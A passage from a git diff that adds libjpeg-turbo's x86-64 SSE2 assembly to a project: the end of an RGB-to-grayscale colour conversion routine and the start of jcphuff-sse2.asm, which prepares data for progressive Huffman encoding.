rcx + + mov rsi, r11 + mov eax, r14d + test rax, rax + jle near .return +.rowloop: + push rdi + push rsi + push rcx ; col + + mov rsip, JSAMPROW [rsi] ; inptr + mov rdip, JSAMPROW [rdi] ; outptr0 + + cmp rcx, byte SIZEOF_XMMWORD + jae near .columnloop + +%if RGB_PIXELSIZE == 3 ; --------------- + +.column_ld1: + push rax + push rdx + lea rcx, [rcx + rcx * 2] ; imul ecx, RGB_PIXELSIZE + test cl, SIZEOF_BYTE + jz short .column_ld2 + sub rcx, byte SIZEOF_BYTE + movzx rax, byte [rsi + rcx] +.column_ld2: + test cl, SIZEOF_WORD + jz short .column_ld4 + sub rcx, byte SIZEOF_WORD + movzx rdx, word [rsi + rcx] + shl rax, WORD_BIT + or rax, rdx +.column_ld4: + movd xmmA, eax + pop rdx + pop rax + test cl, SIZEOF_DWORD + jz short .column_ld8 + sub rcx, byte SIZEOF_DWORD + movd xmmF, XMM_DWORD [rsi + rcx] + pslldq xmmA, SIZEOF_DWORD + por xmmA, xmmF +.column_ld8: + test cl, SIZEOF_MMWORD + jz short .column_ld16 + sub rcx, byte SIZEOF_MMWORD + movq xmmB, XMM_MMWORD [rsi + rcx] + pslldq xmmA, SIZEOF_MMWORD + por xmmA, xmmB +.column_ld16: + test cl, SIZEOF_XMMWORD + jz short .column_ld32 + movdqa xmmF, xmmA + movdqu xmmA, XMMWORD [rsi + 0 * SIZEOF_XMMWORD] + mov rcx, SIZEOF_XMMWORD + jmp short .rgb_gray_cnv +.column_ld32: + test cl, 2 * SIZEOF_XMMWORD + mov rcx, SIZEOF_XMMWORD + jz short .rgb_gray_cnv + movdqa xmmB, xmmA + movdqu xmmA, XMMWORD [rsi + 0 * SIZEOF_XMMWORD] + movdqu xmmF, XMMWORD [rsi + 1 * SIZEOF_XMMWORD] + jmp short .rgb_gray_cnv + +.columnloop: + movdqu xmmA, XMMWORD [rsi + 0 * SIZEOF_XMMWORD] + movdqu xmmF, XMMWORD [rsi + 1 * SIZEOF_XMMWORD] + movdqu xmmB, XMMWORD [rsi + 2 * SIZEOF_XMMWORD] + +.rgb_gray_cnv: + ; NOTE: The values of RGB_RED, RGB_GREEN, and RGB_BLUE determine the + ; mapping of components A, B, and C to red, green, and blue. + ; + ; xmmA = (A0 B0 C0 A1 B1 C1 A2 B2 C2 A3 B3 C3 A4 B4 C4 A5) + ; xmmF = (B5 C5 A6 B6 C6 A7 B7 C7 A8 B8 C8 A9 B9 C9 Aa Ba) + ; xmmB = (Ca Ab Bb Cb Ac Bc Cc Ad Bd Cd Ae Be Ce Af Bf Cf) + + movdqa xmmG, xmmA + pslldq xmmA, 8 + ; xmmA = (-- -- -- -- -- -- -- -- A0 B0 C0 A1 B1 C1 A2 B2) + psrldq xmmG, 8 + ; xmmG = (C2 A3 B3 C3 A4 B4 C4 A5 -- -- -- -- -- -- -- --) + + punpckhbw xmmA, xmmF + ; xmmA = (A0 A8 B0 B8 C0 C8 A1 A9 B1 B9 C1 C9 A2 Aa B2 Ba) + pslldq xmmF, 8 + ; xmmF = (-- -- -- -- -- -- -- -- B5 C5 A6 B6 C6 A7 B7 C7) + + punpcklbw xmmG, xmmB + ; xmmG = (C2 Ca A3 Ab B3 Bb C3 Cb A4 Ac B4 Bc C4 Cc A5 Ad) + punpckhbw xmmF, xmmB + ; xmmF = (B5 Bd C5 Cd A6 Ae B6 Be C6 Ce A7 Af B7 Bf C7 Cf) + + movdqa xmmD, xmmA + pslldq xmmA, 8 + ; xmmA = (-- -- -- -- -- -- -- -- A0 A8 B0 B8 C0 C8 A1 A9) + psrldq xmmD, 8 + ; xmmD = (B1 B9 C1 C9 A2 Aa B2 Ba -- -- -- -- -- -- -- --) + + punpckhbw xmmA, xmmG + ; xmmA = (A0 A4 A8 Ac B0 B4 B8 Bc C0 C4 C8 Cc A1 A5 A9 Ad) + pslldq xmmG, 8 + ; xmmG = (-- -- -- -- -- -- -- -- C2 Ca A3 Ab B3 Bb C3 Cb) + + punpcklbw xmmD, xmmF + ; xmmD = (B1 B5 B9 Bd C1 C5 C9 Cd A2 A6 Aa Ae B2 B6 Ba Be) + punpckhbw xmmG, xmmF + ; xmmG = (C2 C6 Ca Ce A3 A7 Ab Af B3 B7 Bb Bf C3 C7 Cb Cf) + + movdqa xmmE, xmmA + pslldq xmmA, 8 + ; xmmA = (-- -- -- -- -- -- -- -- A0 A4 A8 Ac B0 B4 B8 Bc) + psrldq xmmE, 8 + ; xmmE = (C0 C4 C8 Cc A1 A5 A9 Ad -- -- -- -- -- -- -- --) + + punpckhbw xmmA, xmmD + ; xmmA = (A0 A2 A4 A6 A8 Aa Ac Ae B0 B2 B4 B6 B8 Ba Bc Be) + pslldq xmmD, 8 + ; xmmD = (-- -- -- -- -- -- -- -- B1 B5 B9 Bd C1 C5 C9 Cd) + + punpcklbw xmmE, xmmG + ; xmmE = (C0 C2 C4 C6 C8 Ca Cc Ce A1 A3 A5 A7 A9 Ab Ad Af) + punpckhbw xmmD, xmmG + ; xmmD = (B1 B3 B5 B7 B9 Bb Bd Bf C1 C3 C5 C7 C9 Cb Cd Cf) + + pxor xmmH, xmmH + + movdqa xmmC, xmmA + punpcklbw xmmA, xmmH ; xmmA = (A0 A2 A4 A6 A8 Aa Ac Ae) = AE + punpckhbw xmmC, xmmH ; xmmC = (B0 B2 B4 B6 B8 Ba Bc Be) = BE + + movdqa xmmB, xmmE + punpcklbw xmmE, xmmH ; xmmE = (C0 C2 C4 C6 C8 Ca Cc Ce) = CE + punpckhbw xmmB, xmmH ; xmmB = (A1 A3 A5 A7 A9 Ab Ad Af) = AO + + movdqa xmmF, xmmD + punpcklbw xmmD, xmmH ; xmmD = (B1 B3 B5 B7 B9 Bb Bd Bf) = BO + punpckhbw xmmF, xmmH ; xmmF = (C1 C3 C5 C7 C9 Cb Cd Cf) = CO + +%else ; RGB_PIXELSIZE == 4 ; ----------- + +.column_ld1: + test cl, SIZEOF_XMMWORD / 16 + jz short .column_ld2 + sub rcx, byte SIZEOF_XMMWORD / 16 + movd xmmA, XMM_DWORD [rsi + rcx * RGB_PIXELSIZE] +.column_ld2: + test cl, SIZEOF_XMMWORD / 8 + jz short .column_ld4 + sub rcx, byte SIZEOF_XMMWORD / 8 + movq xmmE, XMM_MMWORD [rsi + rcx * RGB_PIXELSIZE] + pslldq xmmA, SIZEOF_MMWORD + por xmmA, xmmE +.column_ld4: + test cl, SIZEOF_XMMWORD / 4 + jz short .column_ld8 + sub rcx, byte SIZEOF_XMMWORD / 4 + movdqa xmmE, xmmA + movdqu xmmA, XMMWORD [rsi + rcx * RGB_PIXELSIZE] +.column_ld8: + test cl, SIZEOF_XMMWORD / 2 + mov rcx, SIZEOF_XMMWORD + jz short .rgb_gray_cnv + movdqa xmmF, xmmA + movdqa xmmH, xmmE + movdqu xmmA, XMMWORD [rsi + 0 * SIZEOF_XMMWORD] + movdqu xmmE, XMMWORD [rsi + 1 * SIZEOF_XMMWORD] + jmp short .rgb_gray_cnv + +.columnloop: + movdqu xmmA, XMMWORD [rsi + 0 * SIZEOF_XMMWORD] + movdqu xmmE, XMMWORD [rsi + 1 * SIZEOF_XMMWORD] + movdqu xmmF, XMMWORD [rsi + 2 * SIZEOF_XMMWORD] + movdqu xmmH, XMMWORD [rsi + 3 * SIZEOF_XMMWORD] + +.rgb_gray_cnv: + ; NOTE: The values of RGB_RED, RGB_GREEN, and RGB_BLUE determine the + ; mapping of components A, B, C, and D to red, green, and blue. + ; + ; xmmA = (A0 B0 C0 D0 A1 B1 C1 D1 A2 B2 C2 D2 A3 B3 C3 D3) + ; xmmE = (A4 B4 C4 D4 A5 B5 C5 D5 A6 B6 C6 D6 A7 B7 C7 D7) + ; xmmF = (A8 B8 C8 D8 A9 B9 C9 D9 Aa Ba Ca Da Ab Bb Cb Db) + ; xmmH = (Ac Bc Cc Dc Ad Bd Cd Dd Ae Be Ce De Af Bf Cf Df) + + movdqa xmmD, xmmA + punpcklbw xmmA, xmmE + ; xmmA = (A0 A4 B0 B4 C0 C4 D0 D4 A1 A5 B1 B5 C1 C5 D1 D5) + punpckhbw xmmD, xmmE + ; xmmD = (A2 A6 B2 B6 C2 C6 D2 D6 A3 A7 B3 B7 C3 C7 D3 D7) + + movdqa xmmC, xmmF + punpcklbw xmmF, xmmH + ; xmmF = (A8 Ac B8 Bc C8 Cc D8 Dc A9 Ad B9 Bd C9 Cd D9 Dd) + punpckhbw xmmC, xmmH + ; xmmC = (Aa Ae Ba Be Ca Ce Da De Ab Af Bb Bf Cb Cf Db Df) + + movdqa xmmB, xmmA + punpcklwd xmmA, xmmF + ; xmmA = (A0 A4 A8 Ac B0 B4 B8 Bc C0 C4 C8 Cc D0 D4 D8 Dc) + punpckhwd xmmB, xmmF + ; xmmB = (A1 A5 A9 Ad B1 B5 B9 Bd C1 C5 C9 Cd D1 D5 D9 Dd) + + movdqa xmmG, xmmD + punpcklwd xmmD, xmmC + ; xmmD = (A2 A6 Aa Ae B2 B6 Ba Be C2 C6 Ca Ce D2 D6 Da De) + punpckhwd xmmG, xmmC + ; xmmG = (A3 A7 Ab Af B3 B7 Bb Bf C3 C7 Cb Cf D3 D7 Db Df) + + movdqa xmmE, xmmA + punpcklbw xmmA, xmmD + ; xmmA = (A0 A2 A4 A6 A8 Aa Ac Ae B0 B2 B4 B6 B8 Ba Bc Be) + punpckhbw xmmE, xmmD + ; xmmE = (C0 C2 C4 C6 C8 Ca Cc Ce D0 D2 D4 D6 D8 Da Dc De) + + movdqa xmmH, xmmB + punpcklbw xmmB, xmmG + ; xmmB = (A1 A3 A5 A7 A9 Ab Ad Af B1 B3 B5 B7 B9 Bb Bd Bf) + punpckhbw xmmH, xmmG + ; xmmH = (C1 C3 C5 C7 C9 Cb Cd Cf D1 D3 D5 D7 D9 Db Dd Df) + + pxor xmmF, xmmF + + movdqa xmmC, xmmA + punpcklbw xmmA, xmmF ; xmmA = (A0 A2 A4 A6 A8 Aa Ac Ae) = AE + punpckhbw xmmC, xmmF ; xmmC = (B0 B2 B4 B6 B8 Ba Bc Be) = BE + + movdqa xmmD, xmmB + punpcklbw xmmB, xmmF ; xmmB = (A1 A3 A5 A7 A9 Ab Ad Af) = AO + punpckhbw xmmD, xmmF ; xmmD = (B1 B3 B5 B7 B9 Bb Bd Bf) = BO + + movdqa xmmG, xmmE + punpcklbw xmmE, xmmF ; xmmE = (C0 C2 C4 C6 C8 Ca Cc Ce) = CE + punpckhbw xmmG, xmmF ; xmmG = (D0 D2 D4 D6 D8 Da Dc De) = DE + + punpcklbw xmmF, xmmH + punpckhbw xmmH, xmmH + psrlw xmmF, BYTE_BIT ; xmmF = (C1 C3 C5 C7 C9 Cb Cd Cf) = CO + psrlw xmmH, BYTE_BIT ; xmmH = (D1 D3 D5 D7 D9 Db Dd Df) = DO + +%endif ; RGB_PIXELSIZE ; --------------- + + ; xmm0 = (R0 R2 R4 R6 R8 Ra Rc Re) = RE + ; xmm2 = (G0 G2 G4 G6 G8 Ga Gc Ge) = GE + ; xmm4 = (B0 B2 B4 B6 B8 Ba Bc Be) = BE + ; xmm1 = (R1 R3 R5 R7 R9 Rb Rd Rf) = RO + ; xmm3 = (G1 G3 G5 G7 G9 Gb Gd Gf) = GO + ; xmm5 = (B1 B3 B5 B7 B9 Bb Bd Bf) = BO + ; + ; (Original) + ; Y = 0.29900 * R + 0.58700 * G + 0.11400 * B + ; + ; (This implementation) + ; Y = 0.29900 * R + 0.33700 * G + 0.11400 * B + 0.25000 * G + + movdqa xmm6, xmm1 + punpcklwd xmm1, xmm3 + punpckhwd xmm6, xmm3 + pmaddwd xmm1, [rel PW_F0299_F0337] + ; xmm1 = ROL * FIX(0.299) + GOL * FIX(0.337) + pmaddwd xmm6, [rel PW_F0299_F0337] + ; xmm6 = ROH * FIX(0.299) + GOH * FIX(0.337) + + movdqa xmm7, xmm6 + ; xmm7 = ROH * FIX(0.299) + GOH * FIX(0.337) + + movdqa xmm6, xmm0 + punpcklwd xmm0, xmm2 + punpckhwd xmm6, xmm2 + pmaddwd xmm0, [rel PW_F0299_F0337] + ; xmm0 = REL * FIX(0.299) + GEL * FIX(0.337) + pmaddwd xmm6, [rel PW_F0299_F0337] + ; xmm6 = REH * FIX(0.299) + GEH * FIX(0.337) + + movdqa XMMWORD [wk(0)], xmm0 + ; wk(0) = REL * FIX(0.299) + GEL * FIX(0.337) + movdqa XMMWORD [wk(1)], xmm6 + ; wk(1) = REH * FIX(0.299) + GEH * FIX(0.337) + + movdqa xmm0, xmm5 ; xmm0 = BO + movdqa xmm6, xmm4 ; xmm6 = BE + + movdqa xmm4, xmm0 + punpcklwd xmm0, xmm3 + punpckhwd xmm4, xmm3 + pmaddwd xmm0, [rel PW_F0114_F0250] + ; xmm0 = BOL * FIX(0.114) + GOL * FIX(0.250) + pmaddwd xmm4, [rel PW_F0114_F0250] + ; xmm4 = BOH * FIX(0.114) + GOH * FIX(0.250) + + movdqa xmm3, [rel PD_ONEHALF] ; xmm3 = [PD_ONEHALF] + + paddd xmm0, xmm1 + paddd xmm4, xmm7 + paddd xmm0, xmm3 + paddd xmm4, xmm3 + psrld xmm0, SCALEBITS ; xmm0 = YOL + psrld xmm4, SCALEBITS ; xmm4 = YOH + packssdw xmm0, xmm4 ; xmm0 = YO + + movdqa xmm4, xmm6 + punpcklwd xmm6, xmm2 + punpckhwd xmm4, xmm2 + pmaddwd xmm6, [rel PW_F0114_F0250] + ; xmm6 = BEL * FIX(0.114) + GEL * FIX(0.250) + pmaddwd xmm4, [rel PW_F0114_F0250] + ; xmm4 = BEH * FIX(0.114) + GEH * FIX(0.250) + + movdqa xmm2, [rel PD_ONEHALF] ; xmm2 = [PD_ONEHALF] + + paddd xmm6, XMMWORD [wk(0)] + paddd xmm4, XMMWORD [wk(1)] + paddd xmm6, xmm2 + paddd xmm4, xmm2 + psrld xmm6, SCALEBITS ; xmm6 = YEL + psrld xmm4, SCALEBITS ; xmm4 = YEH + packssdw xmm6, xmm4 ; xmm6 = YE + + psllw xmm0, BYTE_BIT + por xmm6, xmm0 ; xmm6 = Y + movdqa XMMWORD [rdi], xmm6 ; Save Y + + sub rcx, byte SIZEOF_XMMWORD + add rsi, byte RGB_PIXELSIZE * SIZEOF_XMMWORD ; inptr + add rdi, byte SIZEOF_XMMWORD ; outptr0 + cmp rcx, byte SIZEOF_XMMWORD + jae near .columnloop + test rcx, rcx + jnz near .column_ld1 + + pop rcx ; col + pop rsi + pop rdi + + add rsi, byte SIZEOF_JSAMPROW ; input_buf + add rdi, byte SIZEOF_JSAMPROW + dec rax ; num_rows + jg near .rowloop + +.return: + pop rbx + UNCOLLECT_ARGS 5 + lea rsp, [rbp - 8] + pop r15 + pop rbp + ret + +; For some reason, the OS X linker does not honor the request to align the +; segment unless we do this. + align 32 diff --git a/lib/libjpeg-turbo/simd/x86_64/jcphuff-sse2.asm b/lib/libjpeg-turbo/simd/x86_64/jcphuff-sse2.asm new file mode 100755 index 0000000..e4ade86 --- /dev/null +++ b/lib/libjpeg-turbo/simd/x86_64/jcphuff-sse2.asm @@ -0,0 +1,626 @@ +; +; Prepare data for progressive Huffman encoding (64-bit SSE2) +; +; Copyright (C) 2016, 2018, Matthieu Darbois. +; Copyright (C) 2023, Aliaksiej Kandracienka. +; Copyright (C) 2024-2025, D. R. Commander. +; +; Based on the x86 SIMD extension for IJG JPEG library +; Copyright (C) 1999-2006, MIYASAKA Masaru. +; For conditions of distribution and use, see copyright notice in jsimdext.inc +; +; This file should be assembled with NASM (Netwide Assembler) or Yasm. +; +; This file contains an SSE2 implementation of data preparation for progressive +; Huffman encoding. See jcphuff.c for more details. + +%include "jsimdext.inc" + +; -------------------------------------------------------------------------- + SECTION SEG_TEXT + BITS 64 + +; -------------------------------------------------------------------------- +; Macros to load data for jsimd_encode_mcu_AC_first_prepare_sse2() and +; jsimd_encode_mcu_AC_refine_prepare_sse2() + +%macro LOAD16 0 + pxor N0, N0 + pxor N1, N1 + + mov T0d, INT [LUT + 0 * SIZEOF_INT] + mov T1d, INT [LUT + 8 * SIZEOF_INT] + pinsrw X0, word [BLOCK + T0 * 2], 0 + pinsrw X1, word [BLOCK + T1 * 2], 0 + + mov T0d, INT [LUT + 1 * SIZEOF_INT] + mov T1d, INT [LUT + 9 * SIZEOF_INT] + pinsrw X0, word [BLOCK + T0 * 2], 1 + pinsrw X1, word [BLOCK + T1 * 2], 1 + + mov T0d, INT [LUT + 2 * SIZEOF_INT] + mov T1d, INT [LUT + 10 * SIZEOF_INT] + pinsrw X0, word [BLOCK + T0 * 2], 2 + pinsrw X1, word [BLOCK + T1 * 2], 2 + + mov T0d, INT [LUT + 3 * SIZEOF_INT] + mov T1d, INT [LUT + 11 * SIZEOF_INT] + pinsrw X0, word [BLOCK + T0 * 2], 3 + pinsrw X1, word [BLOCK + T1 * 2], 3 + + mov T0d, INT [LUT + 4 * SIZEOF_INT] + mov T1d, INT [LUT + 12 * SIZEOF_INT] + pinsrw X0, word [BLOCK + T0 * 2], 4 + pinsrw X1, word [BLOCK + T1 * 2], 4 + + mov T0d, INT [LUT + 5 * SIZEOF_INT] + mov T1d, INT [LUT + 13 * SIZEOF_INT] + pinsrw X0, word [BLOCK + T0 * 2], 5 + pinsrw X1, word [BLOCK + T1 * 2], 5 + + mov T0d, INT [LUT + 6 * SIZEOF_INT] + mov T1d, INT [LUT + 14 * SIZEOF_INT] + pinsrw X0, word [BLOCK + T0 * 2], 6 + pinsrw X1, word [BLOCK + T1 * 2], 6 + + mov T0d, INT [LUT + 7 * SIZEOF_INT] + mov T1d, INT [LUT + 15 * SIZEOF_INT] + pinsrw X0, word [BLOCK + T0 * 2], 7 + pinsrw X1, word [BLOCK + T1 * 2], 7 +%endmacro + +%macro LOAD15 0 + pxor N0, N0 + pxor N1, N1 + pxor X1, X1 + + mov T0d, INT [LUT + 0 * SIZEOF_INT] + mov T1d, INT [LUT + 8 * SIZEOF_INT] + pinsrw X0, word [BLOCK + T0 * 2], 0 + pinsrw X1, word [BLOCK + T1 * 2], 0 + + mov T0d, INT [LUT + 1 * SIZEOF_INT] + pinsrw X0, word [BLOCK + T0 * 2], 1 + + mov T0d, INT [LUT + 2 * SIZEOF_INT] + pinsrw X0, word [BLOCK + T0 * 2], 2 + + mov T0d, INT [LUT + 3 * SIZEOF_INT] + pinsrw X0, word [BLOCK + T0 * 2], 3 + + mov T0d, INT [LUT + 4 * SIZEOF_INT] + pinsrw X0, word [BLOCK + T0 * 2], 4 + + mov T0d, INT [LUT + 5 * SIZEOF_INT] + pinsrw X0, word [BLOCK + T0 * 2], 5 + + mov T0d, INT [LUT + 6 * SIZEOF_INT] + pinsrw X0, word [BLOCK + T0 * 2], 6 + + mov T0d, INT [LUT + 7 * SIZEOF_INT] + pinsrw X0, word [BLOCK + T0 * 2], 7 + + cmp LENEND, 2 + jl %%.ELOAD15 + mov T1d, INT [LUT + 9 * SIZEOF_INT] + pinsrw X1, word [BLOCK + T1 * 2], 1 + + cmp LENEND, 3 + jl %%.ELOAD15 + mov T1d, INT [LUT + 10 * SIZEOF_INT] + pinsrw X1, word [BLOCK + T1 * 2], 2 + + cmp LENEND, 4 + jl %%.ELOAD15 + mov T1d, INT [LUT + 11 * SIZEOF_INT] + pinsrw X1, word [BLOCK + T1 * 2], 3 + + cmp LENEND, 5 + jl %%.ELOAD15 + mov T1d, INT [LUT + 12 * SIZEOF_INT] + pinsrw X1, word [BLOCK + T1 * 2], 4 + + cmp LENEND, 6 + jl %%.ELOAD15 + mov T1d, INT [LUT + 13 * SIZEOF_INT] + pinsrw X1, word [BLOCK + T1 * 2], 5 + + cmp LENEND, 7 + jl %%.ELOAD15 + mov T1d, INT [LUT + 14 * SIZEOF_INT] + pinsrw X1, word [BLOCK + T1 * 2], 6 +%%.ELOAD15: +%endmacro + +%macro LOAD8 0 + pxor N0, N0 + + mov T0d, INT [LUT + 0 * SIZEOF_INT] + pinsrw X0, word [BLOCK + T0 * 2], 0 + + mov T0d, INT [LUT + 1 * SIZEOF_INT] + pinsrw X0, word [BLOCK + T0 * 2], 1 + + mov T0d, INT [LUT + 2 * SIZEOF_INT] + pinsrw X0, word [BLOCK + T0 * 2], 2 + + mov T0d, INT [LUT + 3 * SIZEOF_INT] + pinsrw X0, word [BLOCK + T0 * 2], 3 + + mov T0d, INT [LUT + 4 * SIZEOF_INT] + pinsrw X0, word [BLOCK + T0 * 2], 4 + + mov T0d, INT [LUT + 5 * SIZEOF_INT] + pinsrw X0, word [BLOCK + T0 * 2], 5 + + mov T0d, INT [LUT + 6 * SIZEOF_INT] + pinsrw X0, word [BLOCK + T0 * 2], 6 + + mov T0d, INT [LUT + 7 * SIZEOF_INT] + pinsrw X0, word [BLOCK + T0 * 2], 7 +%endmacro + +%macro LOAD7 0 + pxor N0, N0 + pxor X0, X0 + + mov T1d, INT [LUT + 0 * SIZEOF_INT] + pinsrw X0, word [BLOCK + T1 * 2], 0 + + cmp LENEND, 2 + jl %%.ELOAD7 + mov T1d, INT [LUT + 1 * SIZEOF_INT] + pinsrw X0, word [BLOCK + T1 * 2], 1 + + cmp LENEND, 3 + jl %%.ELOAD7 + mov T1d, INT [LUT + 2 * SIZEOF_INT] + pinsrw X0, word [BLOCK + T1 * 2], 2 + + cmp LENEND, 4 + jl %%.ELOAD7 + mov T1d, INT [LUT + 3 * SIZEOF_INT] + pinsrw X0, word [BLOCK + T1 * 2], 3 + + cmp LENEND, 5 + jl %%.ELOAD7 + mov T1d, INT [LUT + 4 * SIZEOF_INT] + pinsrw X0, word [BLOCK + T1 * 2], 4 + + cmp LENEND, 6 + jl %%.ELOAD7 + mov T1d, INT [LUT + 5 * SIZEOF_INT] + pinsrw X0, word [BLOCK + T1 * 2], 5 + + cmp LENEND, 7 + jl %%.ELOAD7 + mov T1d, INT [LUT + 6 * SIZEOF_INT] + pinsrw X0, word [BLOCK + T1 * 2], 6 +%%.ELOAD7: +%endmacro + +%macro REDUCE0 0 + movdqa xmm0, XMMWORD [VALUES + ( 0 * 2)] + movdqa xmm1, XMMWORD [VALUES + ( 8 * 2)] + movdqa xmm2, XMMWORD [VALUES + (16 * 2)] + movdqa xmm3, XMMWORD [VALUES + (24 * 2)] + movdqa xmm4, XMMWORD [VALUES + (32 * 2)] + movdqa xmm5, XMMWORD [VALUES + (40 * 2)] + movdqa xmm6, XMMWORD [VALUES + (48 * 2)] + movdqa xmm7, XMMWORD [VALUES + (56 * 2)] + + pcmpeqw xmm0, ZERO + pcmpeqw xmm1, ZERO + pcmpeqw xmm2, ZERO + pcmpeqw xmm3, ZERO + pcmpeqw xmm4, ZERO + pcmpeqw xmm5, ZERO + pcmpeqw xmm6, ZERO + pcmpeqw xmm7, ZERO + + packsswb xmm0, xmm1 + packsswb xmm2, xmm3 + packsswb xmm4, xmm5 + packsswb xmm6, xmm7 + + pmovmskb eax, xmm0 + pmovmskb ecx, xmm2 + pmovmskb edx, xmm4 + pmovmskb esi, xmm6 + + shl rcx, 16 + shl rdx, 32 + shl rsi, 48 + + or rax, rcx + or rdx, rsi + or rax, rdx + + not rax + + mov MMWORD [r15], rax +%endmacro + +; Prepare data for jsimd_encode_mcu_AC_first(). +; +; GLOBAL(void) +; jsimd_encode_mcu_AC_first_prepare_sse2(const JCOEF *block, +; const int *jpeg_natural_order_start, +; int Sl, int Al, JCOEF *values, +; size_t *zerobits) +; +; r10 = const JCOEF *block +; r11 = const int *jpeg_natural_order_start +; r12 = int Sl +; r13 = int Al +; r14 = JCOEF *values +; r15 = size_t *zerobits + +%define ZERO xmm9 +%define X0 xmm0 +%define X1 xmm1 +%define N0 xmm2 +%define N1 xmm3 +%define AL xmm4 +%define K eax +%define LUT r11 +%define T0 rcx +%define T0d ecx +%define T1 rdx +%define T1d edx +%define BLOCK r10 +%define VALUES r14 +%define LEN r12d +%define LENEND r13d + + align 32 + GLOBAL_FUNCTION(jsimd_encode_mcu_AC_first_prepare_sse2) + +EXTN(jsimd_encode_mcu_AC_first_prepare_sse2): + ENDBR64 + push rbp + mov rbp, rsp + and rsp, byte (-SIZEOF_XMMWORD) ; align to 128 bits + sub rsp, SIZEOF_XMMWORD + movdqa XMMWORD [rsp], ZERO + COLLECT_ARGS 6 + + movd AL, r13d + pxor ZERO, ZERO + mov K, LEN + mov LENEND, LEN + and K, -16 + and LENEND, 7 + shr K, 4 + jz .ELOOP16 +.BLOOP16: + LOAD16 + pcmpgtw N0, X0 + pcmpgtw N1, X1 + paddw X0, N0 + paddw X1, N1 + pxor X0, N0 + pxor X1, N1 + psrlw X0, AL + psrlw X1, AL + pxor N0, X0 + pxor N1, X1 + movdqa XMMWORD [VALUES + (0) * 2], X0 + movdqa XMMWORD [VALUES + (8) * 2], X1 + movdqa XMMWORD [VALUES + (0 + DCTSIZE2) * 2], N0 + movdqa XMMWORD [VALUES + (8 + DCTSIZE2) * 2], N1 + add VALUES, 16 * 2 + add LUT, 16 * SIZEOF_INT + dec K + jnz .BLOOP16 + test LEN, 15 + je .PADDING +.ELOOP16: + test LEN, 8 + jz .TRY7 + test LEN, 7 + jz .TRY8 + + LOAD15 + pcmpgtw N0, X0 + pcmpgtw N1, X1 + paddw X0, N0 + paddw X1, N1 + pxor X0, N0 + pxor X1, N1 + psrlw X0, AL + psrlw X1, AL + pxor N0, X0 + pxor N1, X1 + movdqa XMMWORD [VALUES + (0) * 2], X0 + movdqa XMMWORD [VALUES + (8) * 2], X1 + movdqa XMMWORD [VALUES + (0 + DCTSIZE2) * 2], N0 + movdqa XMMWORD [VALUES + (8 + DCTSIZE2) * 2], N1 + add VALUES, 16 * 2 + jmp .PADDING +.TRY8: + LOAD8 + pcmpgtw N0, X0 + paddw X0, N0 + pxor X0, N0 + psrlw X0, AL + pxor N0, X0 + movdqa XMMWORD [VALUES + (0) * 2], X0 + movdqa XMMWORD [VALUES + (0 + DCTSIZE2) * 2], N0 + add VALUES, 8 * 2 + jmp .PADDING +.TRY7: + LOAD7 + pcmpgtw N0, X0 + paddw X0, N0 + pxor X0, N0 + psrlw X0, AL + pxor N0, X0 + movdqa XMMWORD [VALUES + (0) * 2], X0 + movdqa XMMWORD [VALUES + (0 + DCTSIZE2) * 2], N0 + add VALUES, 8 * 2 +.PADDING: + mov K, LEN + add K, 7 + and K, -8 + shr K, 3 + sub K, DCTSIZE2 / 8 + jz .EPADDING + align 16 +.ZEROLOOP: + movdqa XMMWORD [VALUES + 0], ZERO + add VALUES, 8 * 2 + inc K + jnz .ZEROLOOP +.EPADDING: + sub VALUES, DCTSIZE2 * 2 + + REDUCE0 + + UNCOLLECT_ARGS 6 + movdqa ZERO, XMMWORD [rsp] + mov rsp, rbp + pop rbp + ret + +%undef ZERO +%undef X0 +%undef X1 +%undef N0 +%undef N1 +%undef AL +%undef K +%undef LUT +%undef T0 +%undef T0d +%undef T1 +%undef T1d +%undef BLOCK +%undef VALUES +%undef LEN +%undef LENEND + +; Prepare data for jsimd_encode_mcu_AC_refine(). +; +; GLOBAL(int) +; jsimd_encode_mcu_AC_refine_prepare_sse2(const JCOEF *block, +; const int *jpeg_natural_order_start, +; int Sl, int Al, JCOEF *absvalues, +; size_t *bits) +; +; r10 = const JCOEF *block +; r11 = const int *jpeg_natural_order_start +; r12 = int Sl +; r13 = int Al +; r14 = JCOEF *values +; r15 = size_t *bits + +%define ZERO xmm9 +%define ONE xmm5 +%define X0 xmm0 +%define X1 xmm1 +%define N0 xmm2 +%define N1 xmm3 +%define AL xmm4 +%define K eax +%define KK r9d +%define EOB r8d +%define SIGN rdi +%define LUT r11 +%define T0 rcx +%define T0d ecx +%define T1 rdx +%define T1d edx +%define BLOCK r10 +%define VALUES r14 +%define LEN r12d +%define LENEND r13d + + align 32 + GLOBAL_FUNCTION(jsimd_encode_mcu_AC_refine_prepare_sse2) + +EXTN(jsimd_encode_mcu_AC_refine_prepare_sse2): + ENDBR64 + push rbp + mov rbp, rsp + and rsp, byte (-SIZEOF_XMMWORD) ; align to 128 bits + sub rsp, SIZEOF_XMMWORD + movdqa XMMWORD [rsp], ZERO + COLLECT_ARGS 6 + + xor SIGN, SIGN + xor EOB, EOB + xor KK, KK + movd AL, r13d + pxor ZERO, ZERO + pcmpeqw ONE, ONE + psrlw ONE, 15 + mov K, LEN + mov LENEND, LEN + and K, -16 + and LENEND, 7 + shr K, 4 + jz .ELOOPR16 +.BLOOPR16: + LOAD16 + pcmpgtw N0, X0 + pcmpgtw N1, X1 + paddw X0, N0 + paddw X1, N1 + pxor X0, N0 + pxor X1, N1 + psrlw X0, AL + psrlw X1, AL + movdqa XMMWORD [VALUES + (0) * 2], X0 + movdqa XMMWORD [VALUES + (8) * 2], X1 + pcmpeqw X0, ONE + pcmpeqw X1, ONE + packsswb N0, N1 + packsswb X0, X1 + pmovmskb T0d, N0 ; lsignbits.val16u[k >> 4] = _mm_movemask_epi8(neg); + pmovmskb T1d, X0 ; idx = _mm_movemask_epi8(x1); + shr SIGN, 16 ; make room for sizebits + shl T0, 48 + or SIGN, T0 + bsr T1d, T1d ; idx = 16 - (__builtin_clz(idx) >> 1); + jz .CONTINUER16 ; if (idx) { + mov EOB, KK + add EOB, T1d ; EOB = k + idx; +.CONTINUER16: + add VALUES, 16 * 2 + add LUT, 16 * SIZEOF_INT + add KK, 16 + dec K + jnz .BLOOPR16 + test LEN, 15 + je .PADDINGR +.ELOOPR16: + test LEN, 8 + jz .TRYR7 + test LEN, 7 + jz .TRYR8 + + LOAD15 + pcmpgtw N0, X0 + pcmpgtw N1, X1 + paddw X0, N0 + paddw X1, N1 + pxor X0, N0 + pxor X1, N1 + psrlw X0, AL + psrlw X1, AL + movdqa XMMWORD [VALUES + (0) * 2], X0 + movdqa XMMWORD [VALUES + (8) * 2], 